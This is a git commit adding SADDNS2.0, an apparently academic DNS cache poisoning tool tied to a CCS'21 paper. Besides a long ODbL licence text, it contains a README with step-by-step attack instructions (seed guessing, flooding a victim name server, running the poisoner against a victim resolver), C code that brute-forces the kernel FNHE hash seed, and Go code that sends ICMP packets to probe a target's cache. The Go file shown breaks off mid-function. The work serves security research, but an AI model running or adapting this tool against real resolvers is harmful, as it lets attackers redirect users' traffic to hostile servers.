diff options
| author | mkyybx <[email protected]> | 2022-12-15 15:02:03 -0800 |
|---|---|---|
| committer | mkyybx <[email protected]> | 2022-12-15 15:02:03 -0800 |
| commit | a6b5e618c14a5e900f10259e26461f3b6dc44c66 (patch) | |
| tree | e23e7cc8da2c59a6a9934d24b898e82639c204f9 | |
First Commit
| -rw-r--r-- | LICENCE | 540 | ||||
| -rw-r--r-- | README.md | 82 | ||||
| -rw-r--r-- | guessSeed4.c | 212 | ||||
| -rw-r--r-- | src/ucr.edu/SADDNS2.0/GuessSeed.go | 517 | ||||
| -rw-r--r-- | src/ucr.edu/SADDNS2.0/Library.go | 790 | ||||
| -rw-r--r-- | src/ucr.edu/SADDNS2.0/dns.go | 281 | ||||
| -rw-r--r-- | src/ucr.edu/SADDNS2.0/main.go | 1317 |
7 files changed, 3739 insertions, 0 deletions
@@ -0,0 +1,540 @@ +## ODC Open Database License (ODbL) + +### Preamble + +The Open Database License (ODbL) is a license agreement intended to +allow users to freely share, modify, and use this Database while +maintaining this same freedom for others. Many databases are covered by +copyright, and therefore this document licenses these rights. Some +jurisdictions, mainly in the European Union, have specific rights that +cover databases, and so the ODbL addresses these rights, too. Finally, +the ODbL is also an agreement in contract for users of this Database to +act in certain ways in return for accessing this Database. + +Databases can contain a wide variety of types of content (images, +audiovisual material, and sounds all in the same database, for example), +and so the ODbL only governs the rights over the Database, and not the +contents of the Database individually. Licensors should use the ODbL +together with another license for the contents, if the contents have a +single set of rights that uniformly covers all of the contents. If the +contents have multiple sets of different rights, Licensors should +describe what rights govern what contents together in the individual +record or in some other way that clarifies what rights apply. + +Sometimes the contents of a database, or the database itself, can be +covered by other rights not addressed here (such as private contracts, +trade mark over the name, or privacy rights / data protection rights +over information in the contents), and so you are advised that you may +have to consult other documents or clear other rights before doing +activities not covered by this License. + +------ + +The Licensor (as defined below) + +and + +You (as defined below) + +agree as follows: + +### 1.0 Definitions of Capitalised Words + +"Collective Database" – Means this Database in unmodified form as part +of a collection of independent databases in themselves that together are +assembled into a collective whole. A work that constitutes a Collective +Database will not be considered a Derivative Database. + +"Convey" – As a verb, means Using the Database, a Derivative Database, +or the Database as part of a Collective Database in any way that enables +a Person to make or receive copies of the Database or a Derivative +Database. Conveying does not include interaction with a user through a +computer network, or creating and Using a Produced Work, where no +transfer of a copy of the Database or a Derivative Database occurs. +"Contents" – The contents of this Database, which includes the +information, independent works, or other material collected into the +Database. For example, the contents of the Database could be factual +data or works such as images, audiovisual material, text, or sounds. + +"Database" – A collection of material (the Contents) arranged in a +systematic or methodical way and individually accessible by electronic +or other means offered under the terms of this License. + +"Database Directive" – Means Directive 96/9/EC of the European +Parliament and of the Council of 11 March 1996 on the legal protection +of databases, as amended or succeeded. + +"Database Right" – Means rights resulting from the Chapter III ("sui +generis") rights in the Database Directive (as amended and as transposed +by member states), which includes the Extraction and Re-utilisation of +the whole or a Substantial part of the Contents, as well as any similar +rights available in the relevant jurisdiction under Section 10.4. + +"Derivative Database" – Means a database based upon the Database, and +includes any translation, adaptation, arrangement, modification, or any +other alteration of the Database or of a Substantial part of the +Contents. This includes, but is not limited to, Extracting or +Re-utilising the whole or a Substantial part of the Contents in a new +Database. + +"Extraction" – Means the permanent or temporary transfer of all or a +Substantial part of the Contents to another medium by any means or in +any form. + +"License" – Means this license agreement and is both a license of rights +such as copyright and Database Rights and an agreement in contract. + +"Licensor" – Means the Person that offers the Database under the terms +of this License. + +"Person" – Means a natural or legal person or a body of persons +corporate or incorporate. + +"Produced Work" – a work (such as an image, audiovisual material, text, +or sounds) resulting from using the whole or a Substantial part of the +Contents (via a search or other query) from this Database, a Derivative +Database, or this Database as part of a Collective Database. + +"Publicly" – means to Persons other than You or under Your control by +either more than 50% ownership or by the power to direct their +activities (such as contracting with an independent consultant). + +"Re-utilisation" – means any form of making available to the public all +or a Substantial part of the Contents by the distribution of copies, by +renting, by online or other forms of transmission. + +"Substantial" – Means substantial in terms of quantity or quality or a +combination of both. The repeated and systematic Extraction or +Re-utilisation of insubstantial parts of the Contents may amount to the +Extraction or Re-utilisation of a Substantial part of the Contents. + +"Use" – As a verb, means doing any act that is restricted by copyright +or Database Rights whether in the original medium or any other; and +includes without limitation distributing, copying, publicly performing, +publicly displaying, and preparing derivative works of the Database, as +well as modifying the Database as may be technically necessary to use it +in a different mode or format. + +"You" – Means a Person exercising rights under this License who has not +previously violated the terms of this License with respect to the +Database, or who has received express permission from the Licensor to +exercise rights under this License despite a previous violation. + +Words in the singular include the plural and vice versa. + +### 2.0 What this License covers + +2.1. Legal effect of this document. This License is: + + a. A license of applicable copyright and neighbouring rights; + + b. A license of the Database Right; and + + c. An agreement in contract between You and the Licensor. + +2.2 Legal rights covered. This License covers the legal rights in the +Database, including: + + a. Copyright. Any copyright or neighbouring rights in the Database. + The copyright licensed includes any individual elements of the + Database, but does not cover the copyright over the Contents + independent of this Database. See Section 2.4 for details. Copyright + law varies between jurisdictions, but is likely to cover: the Database + model or schema, which is the structure, arrangement, and organisation + of the Database, and can also include the Database tables and table + indexes; the data entry and output sheets; and the Field names of + Contents stored in the Database; + + b. Database Rights. Database Rights only extend to the Extraction and + Re-utilisation of the whole or a Substantial part of the Contents. + Database Rights can apply even when there is no copyright over the + Database. Database Rights can also apply when the Contents are removed + from the Database and are selected and arranged in a way that would + not infringe any applicable copyright; and + + c. Contract. This is an agreement between You and the Licensor for + access to the Database. In return you agree to certain conditions of + use on this access as outlined in this License. + +2.3 Rights not covered. + + a. This License does not apply to computer programs used in the making + or operation of the Database; + + b. This License does not cover any patents over the Contents or the + Database; and + + c. This License does not cover any trademarks associated with the + Database. + +2.4 Relationship to Contents in the Database. The individual items of +the Contents contained in this Database may be covered by other rights, +including copyright, patent, data protection, privacy, or personality +rights, and this License does not cover any rights (other than Database +Rights or in contract) in individual Contents contained in the Database. +For example, if used on a Database of images (the Contents), this +License would not apply to copyright over individual images, which could +have their own separate licenses, or one single license covering all of +the rights over the images. + +### 3.0 Rights granted + +3.1 Subject to the terms and conditions of this License, the Licensor +grants to You a worldwide, royalty-free, non-exclusive, terminable (but +only under Section 9) license to Use the Database for the duration of +any applicable copyright and Database Rights. These rights explicitly +include commercial use, and do not exclude any field of endeavour. To +the extent possible in the relevant jurisdiction, these rights may be +exercised in all media and formats whether now known or created in the +future. + +The rights granted cover, for example: + + a. Extraction and Re-utilisation of the whole or a Substantial part of + the Contents; + + b. Creation of Derivative Databases; + + c. Creation of Collective Databases; + + d. Creation of temporary or permanent reproductions by any means and + in any form, in whole or in part, including of any Derivative + Databases or as a part of Collective Databases; and + + e. Distribution, communication, display, lending, making available, or + performance to the public by any means and in any form, in whole or in + part, including of any Derivative Database or as a part of Collective + Databases. + +3.2 Compulsory license schemes. For the avoidance of doubt: + + a. Non-waivable compulsory license schemes. In those jurisdictions in + which the right to collect royalties through any statutory or + compulsory licensing scheme cannot be waived, the Licensor reserves + the exclusive right to collect such royalties for any exercise by You + of the rights granted under this License; + + b. Waivable compulsory license schemes. In those jurisdictions in + which the right to collect royalties through any statutory or + compulsory licensing scheme can be waived, the Licensor waives the + exclusive right to collect such royalties for any exercise by You of + the rights granted under this License; and, + + c. Voluntary license schemes. The Licensor waives the right to collect + royalties, whether individually or, in the event that the Licensor is + a member of a collecting society that administers voluntary licensing + schemes, via that society, from any exercise by You of the rights + granted under this License. + +3.3 The right to release the Database under different terms, or to stop +distributing or making available the Database, is reserved. Note that +this Database may be multiple-licensed, and so You may have the choice +of using alternative licenses for this Database. Subject to Section +10.4, all other rights not expressly granted by Licensor are reserved. + +### 4.0 Conditions of Use + +4.1 The rights granted in Section 3 above are expressly made subject to +Your complying with the following conditions of use. These are important +conditions of this License, and if You fail to follow them, You will be +in material breach of its terms. + +4.2 Notices. If You Publicly Convey this Database, any Derivative +Database, or the Database as part of a Collective Database, then You +must: + + a. Do so only under the terms of this License or another license + permitted under Section 4.4; + + b. Include a copy of this License (or, as applicable, a license + permitted under Section 4.4) or its Uniform Resource Identifier (URI) + with the Database or Derivative Database, including both in the + Database or Derivative Database and in any relevant documentation; and + + c. Keep intact any copyright or Database Right notices and notices + that refer to this License. + + d. If it is not possible to put the required notices in a particular + file due to its structure, then You must include the notices in a + location (such as a relevant directory) where users would be likely to + look for it. + +4.3 Notice for using output (Contents). Creating and Using a Produced +Work does not require the notice in Section 4.2. However, if you +Publicly Use a Produced Work, You must include a notice associated with +the Produced Work reasonably calculated to make any Person that uses, +views, accesses, interacts with, or is otherwise exposed to the Produced +Work aware that Content was obtained from the Database, Derivative +Database, or the Database as part of a Collective Database, and that it +is available under this License. + + a. Example notice. The following text will satisfy notice under + Section 4.3: + + Contains information from DATABASE NAME, which is made available + here under the Open Database License (ODbL). + +DATABASE NAME should be replaced with the name of the Database and a +hyperlink to the URI of the Database. "Open Database License" should +contain a hyperlink to the URI of the text of this License. If +hyperlinks are not possible, You should include the plain text of the +required URI's with the above notice. + +4.4 Share alike. + + a. Any Derivative Database that You Publicly Use must be only under + the terms of: + + i. This License; + + ii. A later version of this License similar in spirit to this + License; or + + iii. A compatible license. + + If You license the Derivative Database under one of the licenses + mentioned in (iii), You must comply with the terms of that license. + + b. For the avoidance of doubt, Extraction or Re-utilisation of the + whole or a Substantial part of the Contents into a new database is a + Derivative Database and must comply with Section 4.4. + + c. Derivative Databases and Produced Works. A Derivative Database is + Publicly Used and so must comply with Section 4.4. if a Produced Work + created from the Derivative Database is Publicly Used. + + d. Share Alike and additional Contents. For the avoidance of doubt, + You must not add Contents to Derivative Databases under Section 4.4 a + that are incompatible with the rights granted under this License. + + e. Compatible licenses. Licensors may authorise a proxy to determine + compatible licenses under Section 4.4 a iii. If they do so, the + authorised proxy's public statement of acceptance of a compatible + license grants You permission to use the compatible license. + + +4.5 Limits of Share Alike. The requirements of Section 4.4 do not apply +in the following: + + a. For the avoidance of doubt, You are not required to license + Collective Databases under this License if You incorporate this + Database or a Derivative Database in the collection, but this License + still applies to this Database or a Derivative Database as a part of + the Collective Database; + + b. Using this Database, a Derivative Database, or this Database as + part of a Collective Database to create a Produced Work does not + create a Derivative Database for purposes of Section 4.4; and + + c. Use of a Derivative Database internally within an organisation is + not to the public and therefore does not fall under the requirements + of Section 4.4. + +4.6 Access to Derivative Databases. If You Publicly Use a Derivative +Database or a Produced Work from a Derivative Database, You must also +offer to recipients of the Derivative Database or Produced Work a copy +in a machine readable form of: + + a. The entire Derivative Database; or + + b. A file containing all of the alterations made to the Database or + the method of making the alterations to the Database (such as an + algorithm), including any additional Contents, that make up all the + differences between the Database and the Derivative Database. + +The Derivative Database (under a.) or alteration file (under b.) must be +available at no more than a reasonable production cost for physical +distributions and free of charge if distributed over the internet. + +4.7 Technological measures and additional terms + + a. This License does not allow You to impose (except subject to + Section 4.7 b.) any terms or any technological measures on the + Database, a Derivative Database, or the whole or a Substantial part of + the Contents that alter or restrict the terms of this License, or any + rights granted under it, or have the effect or intent of restricting + the ability of any person to exercise those rights. + + b. Parallel distribution. You may impose terms or technological + measures on the Database, a Derivative Database, or the whole or a + Substantial part of the Contents (a "Restricted Database") in + contravention of Section 4.74 a. only if You also make a copy of the + Database or a Derivative Database available to the recipient of the + Restricted Database: + + i. That is available without additional fee; + + ii. That is available in a medium that does not alter or restrict + the terms of this License, or any rights granted under it, or have + the effect or intent of restricting the ability of any person to + exercise those rights (an "Unrestricted Database"); and + + iii. The Unrestricted Database is at least as accessible to the + recipient as a practical matter as the Restricted Database. + + c. For the avoidance of doubt, You may place this Database or a + Derivative Database in an authenticated environment, behind a + password, or within a similar access control scheme provided that You + do not alter or restrict the terms of this License or any rights + granted under it or have the effect or intent of restricting the + ability of any person to exercise those rights. + +4.8 Licensing of others. You may not sublicense the Database. Each time +You communicate the Database, the whole or Substantial part of the +Contents, or any Derivative Database to anyone else in any way, the +Licensor offers to the recipient a license to the Database on the same +terms and conditions as this License. You are not responsible for +enforcing compliance by third parties with this License, but You may +enforce any rights that You have over a Derivative Database. You are +solely responsible for any modifications of a Derivative Database made +by You or another Person at Your direction. You may not impose any +further restrictions on the exercise of the rights granted or affirmed +under this License. + +### 5.0 Moral rights + +5.1 Moral rights. This section covers moral rights, including any rights +to be identified as the author of the Database or to object to treatment +that would otherwise prejudice the author's honour and reputation, or +any other derogatory treatment: + + a. For jurisdictions allowing waiver of moral rights, Licensor waives + all moral rights that Licensor may have in the Database to the fullest + extent possible by the law of the relevant jurisdiction under Section + 10.4; + + b. If waiver of moral rights under Section 5.1 a in the relevant + jurisdiction is not possible, Licensor agrees not to assert any moral + rights over the Database and waives all claims in moral rights to the + fullest extent possible by the law of the relevant jurisdiction under + Section 10.4; and + + c. For jurisdictions not allowing waiver or an agreement not to assert + moral rights under Section 5.1 a and b, the author may retain their + moral rights over certain aspects of the Database. + +Please note that some jurisdictions do not allow for the waiver of moral +rights, and so moral rights may still subsist over the Database in some +jurisdictions. + +### 6.0 Fair dealing, Database exceptions, and other rights not affected + +6.1 This License does not affect any rights that You or anyone else may +independently have under any applicable law to make any use of this +Database, including without limitation: + + a. Exceptions to the Database Right including: Extraction of Contents + from non-electronic Databases for private purposes, Extraction for + purposes of illustration for teaching or scientific research, and + Extraction or Re-utilisation for public security or an administrative + or judicial procedure. + + b. Fair dealing, fair use, or any other legally recognised limitation + or exception to infringement of copyright or other applicable laws. + +6.2 This License does not affect any rights of lawful users to Extract +and Re-utilise insubstantial parts of the Contents, evaluated +quantitatively or qualitatively, for any purposes whatsoever, including +creating a Derivative Database (subject to other rights over the +Contents, see Section 2.4). The repeated and systematic Extraction or +Re-utilisation of insubstantial parts of the Contents may however amount +to the Extraction or Re-utilisation of a Substantial part of the +Contents. + +### 7.0 Warranties and Disclaimer + +7.1 The Database is licensed by the Licensor "as is" and without any +warranty of any kind, either express, implied, or arising by statute, +custom, course of dealing, or trade usage. Licensor specifically +disclaims any and all implied warranties or conditions of title, +non-infringement, accuracy or completeness, the presence or absence of +errors, fitness for a particular purpose, merchantability, or otherwise. +Some jurisdictions do not allow the exclusion of implied warranties, so +this exclusion may not apply to You. + +### 8.0 Limitation of liability + +8.1 Subject to any liability that may not be excluded or limited by law, +the Licensor is not liable for, and expressly excludes, all liability +for loss or damage however and whenever caused to anyone by any use +under this License, whether by You or by anyone else, and whether caused +by any fault on the part of the Licensor or not. This exclusion of +liability includes, but is not limited to, any special, incidental, +consequential, punitive, or exemplary damages such as loss of revenue, +data, anticipated profits, and lost business. This exclusion applies +even if the Licensor has been advised of the possibility of such +damages. + +8.2 If liability may not be excluded by law, it is limited to actual and +direct financial loss to the extent it is caused by proved negligence on +the part of the Licensor. + +### 9.0 Termination of Your rights under this License + +9.1 Any breach by You of the terms and conditions of this License +automatically terminates this License with immediate effect and without +notice to You. For the avoidance of doubt, Persons who have received the +Database, the whole or a Substantial part of the Contents, Derivative +Databases, or the Database as part of a Collective Database from You +under this License will not have their licenses terminated provided +their use is in full compliance with this License or a license granted +under Section 4.8 of this License. Sections 1, 2, 7, 8, 9 and 10 will +survive any termination of this License. + +9.2 If You are not in breach of the terms of this License, the Licensor +will not terminate Your rights under it. + +9.3 Unless terminated under Section 9.1, this License is granted to You +for the duration of applicable rights in the Database. + +9.4 Reinstatement of rights. If you cease any breach of the terms and +conditions of this License, then your full rights under this License +will be reinstated: + + a. Provisionally and subject to permanent termination until the 60th + day after cessation of breach; + + b. Permanently on the 60th day after cessation of breach unless + otherwise reasonably notified by the Licensor; or + + c. Permanently if reasonably notified by the Licensor of the + violation, this is the first time You have received notice of + violation of this License from the Licensor, and You cure the + violation prior to 30 days after your receipt of the notice. + +Persons subject to permanent termination of rights are not eligible to +be a recipient and receive a license under Section 4.8. + +9.5 Notwithstanding the above, Licensor reserves the right to release +the Database under different license terms or to stop distributing or +making available the Database. Releasing the Database under different +license terms or stopping the distribution of the Database will not +withdraw this License (or any other license that has been, or is +required to be, granted under the terms of this License), and this +License will continue in full force and effect unless terminated as +stated above. + +### 10.0 General + +10.1 If any provision of this License is held to be invalid or +unenforceable, that must not affect the validity or enforceability of +the remainder of the terms and conditions of this License and each +remaining provision of this License shall be valid and enforced to the +fullest extent permitted by law. + +10.2 This License is the entire agreement between the parties with +respect to the rights granted here over the Database. It replaces any +earlier understandings, agreements or representations with respect to +the Database. + +10.3 If You are in breach of the terms of this License, You will not be +entitled to rely on the terms of this License or to complain of any +breach by the Licensor. + +10.4 Choice of law. This License takes effect in and will be governed by +the laws of the relevant jurisdiction in which the License terms are +sought to be enforced. If the standard suite of rights granted under +applicable copyright law and Database Rights in the relevant +jurisdiction includes additional rights not granted under this License, +these additional rights are granted in this License in order to meet the +terms of this License.
\ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..5af3dcf --- /dev/null +++ b/README.md @@ -0,0 +1,82 @@ +# SADDNS2.0: DNS Cache Poisoning Attack: Resurrections with Side Channels
+
+## Introduction
+**SADDNS2.0** is a tool for launching the **DNS cache poisoning attack**. It infers the ephemeral port number and brute forces the TxID by exploiting ***F**orwarding Information Base(FIB) **N**ext **H**op **E**xception(FNHE)* cache as a side channel.
+
+This is a different side channel cache poisoning attack derived from [SADDNS](https://github.com/seclab-ucr/SADDNS). Most code usage may remain the same.
+
+## How it works
+1. Scan ephemeral ports opened by the resolver.
+2. Brute force TxID.
+
+The side channel leverages the hash table storing fnhe entry as a shared resource (between the **spoofed** and non-spoofed IPs), which controls whether an IP packet should be fragmented or not. This gives the off-path attacker the ability to identify whether previous **spoofed** ICMP fragment needed packets were accepted or not, which further indicates whether the guessed port is correct or not.
+
+The following figure shows the detail of inferring ephemeral ports.
+
+
+
+### Why spoofed IP is still necessary?
+- Compared with [SADDNS](https://github.com/seclab-ucr/SADDNS), SADDNS2.0 uses embedded UDP packet to scan open port and therefore no IP spoofing is needed during the scanning phase.
+- IP spoofing is still required for injecting rogue responses.
+
+## Additional resources
+
+### Publication
+
+[**DNS Cache Poisoning Attack: Resurrections with Side Channels**](https://doi.org/10.1145/3460120.3486219)
+
+Keyu Man, Xin'an Zhou, Zhiyun Qian
+
+*In Proceedings of ACM Conference on Computer and Communications Security (CCS`21), November 15-19, 2021, Virtual Event, Republic of Korea.*
+
+### Website
+
+[**SADDNS**](https://www.saddns.net)
+
+## How to run
+
+### Requirements
+
+- An IP-spoofing-capable host (preferably Linux. Windows is ok but suffers from low performance.).
+- A domain (attacker-controlled name server)
+- Other things needed to make clear:
+ - The resolver to poison (victim resolver)
+ - The domain to poison (victim domain)
+ - *The **victim domain**'s record will be poisoned on the **victim resolver**.*
+
+### Overview
+
+- Determine the attack type (e.g., public or private port, fragment needed or redirect packet as the payload).
+- Guess the seed/key of FNHE hsah table if private port is used.
+- Flood query traffic to mute the name server of the victim domain (see [SADDNS](https://github.com/seclab-ucr/SADDNS) repo for flooding scripts).
+- Run attack program to guess the port number and TxID automatically.
+
+### Steps
+
+1. Compile
+
+ ```go build ucr.edu/SADDNS2.0```(requires ```gopacket``` and ```libpcap```)
+
+2. Seed guessing (only required when probing private ports)
+
+ See the paper for details. ```GuessSeed.go``` provides methods to send out seed guessing packets. ```guessSeed4.c``` implements hash guessing functions to guess the seed.
+
+4. Start flooding
+
+ ```./dns_query.sh &```(requires ```hping3```)
+
+ Please see the comment in the file for usage.
+
+5. Start attacking (flooding is still in progress)
+
+ ```sudo ./saddns [args]```
+
+ Run ```./saddns -h``` for usage.
+
+```attack.sh``` is a sample script for finish the whole PoC (both Step 2 & 3) including the verification of the poisoned result. It's a demonstrative script and please modify the code accordingly (it **won't** run by default).
+
+
+## Questions and issues
+
+Please submit them by opening a new issue.
+
diff --git a/guessSeed4.c b/guessSeed4.c new file mode 100644 index 0000000..d68abdb --- /dev/null +++ b/guessSeed4.c @@ -0,0 +1,212 @@ +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <time.h> +#define _CRT_SECURE_NO_WARNINGS + +#define __be32 unsigned int +#define u32 unsigned int + +unsigned int swap(unsigned int x) { + unsigned char* t0 = (unsigned char*)&x; + unsigned ret = 0; + unsigned char* t1 = (unsigned char*)&ret; + for (int i = 0; i < 4; i++) { + t1[i] = t0[3 - i]; + } + return ret; +} + +#define GOLDEN_RATIO_PRIME_32 0x9e370001UL +static inline u32 hash_32(u32 val, unsigned int bits) +{ + /* On some cpus multiply is faster, on others gcc will do shifts */ + u32 hash = val * GOLDEN_RATIO_PRIME_32; + + /* High bits are more random, so use them. */ + return hash >> (32 - bits); +} + + +static inline u32 rol32(u32 word, unsigned int shift) +{ + return (word << shift) | (word >> (32 - shift)); +} + +#define JHASH_INITVAL 0xdeadbeef + +/* __jhash_final - final mixing of 3 32-bit values (a,b,c) into c */ +#define __jhash_final(a, b, c) \ +{ \ + c ^= b; c -= rol32(b, 14); \ + a ^= c; a -= rol32(c, 11); \ + b ^= a; b -= rol32(a, 25); \ + c ^= b; c -= rol32(b, 16); \ + a ^= c; a -= rol32(c, 4); \ + b ^= a; b -= rol32(a, 14); \ + c ^= b; c -= rol32(b, 24); \ +} + +static inline u32 jhash_3words(u32 a, u32 b, u32 c, u32 initval) +{ + a += JHASH_INITVAL; + b += JHASH_INITVAL; + c += initval; + + __jhash_final(a, b, c); + + return c; +} + +static inline u32 jhash_1word(u32 a, u32 initval) +{ + return jhash_3words(a, 0, 0, initval); +} +#define FNHE_HASH_SHIFT 11 +static inline u32 fnhe_hashfun(__be32 daddr, u32 fnhe_hashrnd) +{ + u32 hval; + + hval = jhash_1word((u32) daddr, fnhe_hashrnd); + return hash_32(hval, FNHE_HASH_SHIFT); +} + +unsigned char testedIP[5000][4]; +int testedIPCount = 0; //input +unsigned int removedIPNum[20]; +int removedIPCount = 0; //input + +// probably race condition here +unsigned int results[20]; +int resultCount = 0; //output +int finished[12]; //in and output + + +//(gdb) print seed +//$1 = 0xdeadbeef +void guess_seed3(int tasknum, int totalNum) { + unsigned int total_task = 0xffffffff; + unsigned int start = 0x0000 + total_task / totalNum * tasknum; + unsigned int end = 0x0000 + total_task / totalNum * (tasknum + 1); + printf("Seed guessing %u(%uM)-%u(%uM) begin\n", start, start / 1000000, end, end / 1000000); + for (unsigned int seed = start; seed < end; seed++) { + // if (seed % 10000000 == 0) { + // printf("%u: %u/%u (%.2f)\n", tasknum, (seed - start) / 1000000, (end - start) / 1000000, ((float)(seed - start)) / (end - start)); + // } + int bucket[2048][6]; + int bucketPtr[2048]; + memset(bucket, -1, 2048 * 6 * sizeof(int)); + memset(bucketPtr, 0, 2048 * sizeof(int)); + unsigned int currentRemovedIPNum[20]; + int currentRemovedIPCount = 0; + int currentRemovedIPFull = 0; + + for (int i = 0; i < testedIPCount; i++) { + int slot = fnhe_hashfun(*(__be32*)(testedIP[i]), seed); + int foundSlot = 0; + if (currentRemovedIPFull) { + break; + } + int bucketSlot = bucketPtr[slot]; + if (bucketSlot < 6) { + bucket[slot][bucketSlot] = i; + foundSlot = 1; + bucketPtr[slot]++; + } + // for (int j = 0; j < 6; j++) { + // if (bucket[slot][j] == -1) { + // bucket[slot][j] = i; + // foundSlot = 1; + // break; + // } + // } + if (!foundSlot) { + if (currentRemovedIPCount == removedIPCount) { + currentRemovedIPFull = 1; + break; + } + currentRemovedIPNum[currentRemovedIPCount++] = bucket[slot][0]; + int foundMatch = 0; + for (int l = 0; l < removedIPCount; l++) { + if (removedIPNum[l] == bucket[slot][0]) { + foundMatch = 1; + break; + } + } + if (!foundMatch) { + break; + } + //printf("removed: %d.%d.%d.%d@bkt %d\n", testedIP[bucket[slot][0]][0], testedIP[bucket[slot][0]][1], testedIP[bucket[slot][0]][2], testedIP[bucket[slot][0]][3], slot); + for (int k = 1; k < 6; k++) { + bucket[slot][k - 1] = bucket[slot][k]; + } + bucket[slot][5] = i; + } + } + + if (!currentRemovedIPFull && currentRemovedIPCount == removedIPCount) { + unsigned int originalSum = 0; + unsigned int newSum = 0; + for (int i = 0; i < removedIPCount; i++) { + originalSum += removedIPNum[i]; + newSum += currentRemovedIPNum[i]; + } + if (originalSum == newSum) { + // sync problem? + results[resultCount++] = seed; + printf("seed=%u\n", seed); + } + if (resultCount == 10) { + break; + } + } + } + // finished[tasknum] = 1; +} + +void guess_seed3_input(int argc, char** argv) { + if (argc < 4) { + printf("argc < 4, error\n"); + return; + } + int tasknum = atoi(argv[1]); + int totalNum = atoi(argv[2]); + FILE* f = fopen(argv[3], "r"); + if (f == 0) { + printf("file open err, exiting...\n"); + return; + } + // testedIPCount + fscanf(f, "%d", &testedIPCount); + // n tested IP: de ad be ff + for (int i = 0; i < testedIPCount; i++) { + for (int j = 0; j < 4; j++) { + fscanf(f, "%x", &testedIP[i][j]); + } + } + // removedIPCount + fscanf(f, "%d", &removedIPCount); + // m removedIP: 1 2 3 + for (int i = 0; i < removedIPCount; i++) { + fscanf(f, "%d", &removedIPNum[i]); + } + fclose(f); + + // multi-processing + guess_seed3(tasknum, totalNum); + + printf("seeds="); + for (int i = 0; i < resultCount; i++) { + printf("%x ", results[i]); + } + printf("\n"); + +} + +int main(int argc, char** argv) { + + guess_seed3_input(argc, argv); + return 0; + +} + diff --git a/src/ucr.edu/SADDNS2.0/GuessSeed.go b/src/ucr.edu/SADDNS2.0/GuessSeed.go new file mode 100644 index 0000000..fc174e9 --- /dev/null +++ b/src/ucr.edu/SADDNS2.0/GuessSeed.go @@ -0,0 +1,517 @@ +package main + +import "C" +import ( + "fmt" + "github.com/google/gopacket/layers" + "math/rand" + "net" + "os" + "sort" + "time" +) + +var guessSeedMode = false +var guessSeedMacMode = false +var ipNoFragMap = make(map[string]bool) +var macIPMap = make(map[string]net.IP) + +func guessSeed2(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) { + var ICMPinCache = make(map[string]bool) + var sendingIP net.IP + sendingIP = make([]byte, 16) + copy(sendingIP, localIPv6Subnet.IP) + v6 := CheckIPv6(sendingIP) + + // prepare layers + ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6) + fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6) + innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6) + echoReplyLayer0, echoReplyLayer1 := GetICMPPingLayer(0, 0, v6) + echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6) + + for { + sendingIPs := make([]net.IP, 0) + for i := 0; i < checkPoint; i++ { + // increase the IP + IncreaseIPv6Addr(sendingIP, 1, 0) + // plant new exceptions + XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + // record it + var tempIP net.IP + tempIP = make([]byte, 16) + copy(tempIP, sendingIP) + sendingIPs = append(sendingIPs, tempIP) + } + // check previous exceptions + guessSeedMode = true + for ip, _ := range ICMPinCache { + checkIPLayer := GetIPLayer(net.ParseIP(ip), dstIP, false, 0, layers.IPProtocolICMPv6) + XmitICMP(h, eth, checkIPLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay) + } + // check new exceptions + for i := 0; i < checkPoint; i++ { + checkIPLayer := GetIPLayer(sendingIPs[i], dstIP, false, 0, layers.IPProtocolICMPv6) + XmitICMP(h, eth, checkIPLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay) + } + // wait for response + waitTimeout := false + var waitCycles uint = 0 + for { + if len(ipNoFragMap) < len(ICMPinCache)+checkPoint { + time.Sleep(time.Millisecond) + waitCycles++ + if waitCycles > waitTime { + waitTimeout = true + break + } + } else { + break + } + } + guessSeedMode = false + // check if all "ICMPinCache" has a fragmented reply. If yes, then continue. If no, check if only one is missing, if so, then output the pair. Update the ICMPinCache accordingly with the ipNoFragMap + if !waitTimeout { + // check responses + noFragReplyIP := make([]string, 0) + for ip, _ := range ICMPinCache { + if ipNoFragMap[ip] { + noFragReplyIP = append(noFragReplyIP, ip) + } + } + if len(noFragReplyIP) > 0 && len(noFragReplyIP) <= checkPoint { + fmt.Println("Found same hash for:", noFragReplyIP, sendingIPs) + } else { + fmt.Println("cached entry=", len(ICMPinCache)) + } + // refresh ICMPinCache + ICMPinCache = make(map[string]bool) + for ip, nofrag := range ipNoFragMap { + if !nofrag { + ICMPinCache[ip] = true + } + } + } else { + fmt.Println("Timeout!") + } + ipNoFragMap = make(map[string]bool) + } +} + +func guessSeedBF_UNFINISHED(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) { + var sendingIP net.IP + sendingIP = make([]byte, 16) + copy(sendingIP, localIPv6Subnet.IP) + v6 := CheckIPv6(sendingIP) + var realIP net.IP + copy(realIP, localIPv6Subnet.IP) + echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6) + + ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6) + fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6) + innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6) + echoReplyLayer0, echoReplyLayer1 := GetICMPPingLayer(0, 0, v6) + + guessSeedMode = true + rand.Seed(time.Now().Unix()) + increaseGaps := make([]uint32, 0) + + // plant our real IP + XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + + for i := 0; i < checkPoint; i++ { + increaseGaps = append(increaseGaps, 1) + XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + if v6 { + IncreaseIPv6Addr(sendingIP, increaseGaps[i], 0) + } else { + IncreaseIPv4Addr(sendingIP, increaseGaps[i]) + } + // check + XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay) + } + + time.Sleep(time.Second) + guessSeedMode = false + + 